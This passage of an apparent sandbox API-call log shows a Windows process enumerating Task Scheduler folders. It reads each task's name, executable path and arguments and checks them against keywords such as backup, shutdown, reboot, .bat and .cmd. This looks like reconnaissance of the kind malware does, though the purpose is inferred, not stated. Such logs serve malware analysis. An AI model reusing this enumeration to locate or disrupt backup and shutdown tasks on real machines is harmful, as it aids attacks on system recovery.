0x0 [0039.246] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0039.246] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0039.246] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0039.246] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0039.246] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0039.246] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0039.246] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0039.246] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0040.176] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0040.176] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.176] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650800) returned 0x0 [0040.176] IAction:get_Type (in: This=0x2650800, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.176] IUnknown:QueryInterface (in: This=0x2650800, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650800) returned 0x0 [0040.176] IExecAction:get_Path (in: This=0x2650800, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0040.176] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x58) returned 0x4e91d0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0040.176] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0040.176] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e91d0) returned 1 [0040.176] IExecAction:get_Arguments (in: This=0x2650800, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*=0x0) returned 0x0 [0040.176] IUnknown:Release (This=0x2650800) returned 0x2 [0040.176] IUnknown:Release (This=0x2650800) returned 0x1 [0040.177] IUnknown:Release (This=0x6eff68) returned 0x1 [0040.177] IUnknown:Release (This=0x6efef0) returned 0x0 [0040.177] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.177] IUnknown:Release (This=0x2650b00) returned 0x0 [0040.177] ITaskFolder:GetFolders (in: This=0x2651fa0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650b00) returned 0x0 [0040.280] ITaskFolderCollection:get_Count (in: This=0x2650b00, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0040.280] IUnknown:Release (This=0x2650b00) returned 0x0 [0040.280] TaskScheduler:IUnknown:Release (This=0x2651fa0) returned 0x0 [0040.280] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2651fa0) returned 0x0 [0040.280] ITaskFolder:GetTasks (in: This=0x2651fa0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650b08) returned 0x0 [0040.284] IRegisteredTaskCollection:get_Count (in: This=0x2650b08, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0040.285] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.285] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="WinSAT") returned 0x0 [0040.285] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0040.287] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.287] IUnknown:Release (This=0x2650b08) returned 0x0 [0040.287] ITaskFolder:GetFolders (in: This=0x2651fa0, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2650b08) returned 0x0 [0040.288] ITaskFolderCollection:get_Count (in: This=0x2650b08, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0040.288] IUnknown:Release (This=0x2650b08) returned 0x0 [0040.288] TaskScheduler:IUnknown:Release (This=0x2651fa0) returned 0x0 [0040.288] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2651fa0) returned 0x0 [0040.288] ITaskFolder:GetTasks (in: This=0x2651fa0, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650b08) returned 0x0 [0040.291] IRegisteredTaskCollection:get_Count (in: This=0x2650b08, pCount=0x2ffad0 | out: pCount=0x2ffad0*=21) returned 0x0 [0040.291] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.291] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="ActivateWindowsSearch") returned 0x0 [0040.291] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.292] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa68 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0040.292] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0040.292] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0040.292] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0040.306] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0040.306] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.306] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0040.306] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.306] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0040.306] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.306] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.306] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.306] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoActivateWindowsSearch") returned 0x0 [0040.306] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x32) returned 0x4d9c28 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0040.306] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0040.306] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.306] IUnknown:Release (This=0x2650708) returned 0x2 [0040.307] IUnknown:Release (This=0x2650708) returned 0x1 [0040.307] IUnknown:Release (This=0x6eff78) returned 0x1 [0040.307] IUnknown:Release (This=0x6eff00) returned 0x0 [0040.307] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.307] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.307] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="ConfigureInternetTimeService") returned 0x0 [0040.307] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.308] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d2888 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0040.308] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0040.308] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2888) returned 1 [0040.309] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efe88) returned 0x0 [0040.313] ITaskDefinition:get_Actions (in: This=0x6efe88, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff00) returned 0x0 [0040.313] IActionCollection:get_Count (in: This=0x6eff00, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.313] IActionCollection:get_Item (in: This=0x6eff00, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650698) returned 0x0 [0040.313] IAction:get_Type (in: This=0x2650698, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.313] IUnknown:QueryInterface (in: This=0x2650698, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650698) returned 0x0 [0040.313] IExecAction:get_Path (in: This=0x2650698, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.313] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.314] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.314] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.314] IExecAction:get_Arguments (in: This=0x2650698, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoConfigureInternetTimeService") returned 0x0 [0040.314] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d2888 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0040.314] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0040.314] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2888) returned 1 [0040.314] IUnknown:Release (This=0x2650698) returned 0x2 [0040.314] IUnknown:Release (This=0x2650698) returned 0x1 [0040.314] IUnknown:Release (This=0x6eff00) returned 0x1 [0040.314] IUnknown:Release (This=0x6efe88) returned 0x0 [0040.314] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.314] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.314] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="DispatchRecoveryTasks") returned 0x0 [0040.314] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.316] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa68 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0040.316] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0040.316] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0040.316] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0040.321] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0040.321] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.321] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0040.321] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.321] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0040.321] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.321] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.321] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.321] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.322] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0040.322] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x32) returned 0x4d9c28 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0040.322] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0040.322] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.322] IUnknown:Release (This=0x2650708) returned 0x2 [0040.322] IUnknown:Release (This=0x2650708) returned 0x1 [0040.322] IUnknown:Release (This=0x6eff78) returned 0x1 [0040.322] IUnknown:Release (This=0x6eff00) returned 0x0 [0040.322] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.322] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.322] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="ehDRMInit") returned 0x0 [0040.322] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.324] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0040.324] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0040.324] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0040.324] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0040.324] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0040.328] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0040.328] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.328] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0040.328] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.328] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0040.328] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.328] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.328] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.329] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.329] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.329] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DRMInit") returned 0x0 [0040.329] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0040.329] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0040.329] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0040.329] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0040.329] IUnknown:Release (This=0x26506f0) returned 0x2 [0040.329] IUnknown:Release (This=0x26506f0) returned 0x1 [0040.329] IUnknown:Release (This=0x6eff68) returned 0x1 [0040.329] IUnknown:Release (This=0x6efef0) returned 0x0 [0040.329] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.329] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.329] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="InstallPlayReady") returned 0x0 [0040.329] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.331] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0040.331] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr="logoff") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0040.331] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0040.331] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0040.331] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0040.336] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0040.336] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.336] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0040.336] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.336] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0040.336] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.336] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.336] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.336] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.336] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/InstallPlayReady $(Arg0)") returned 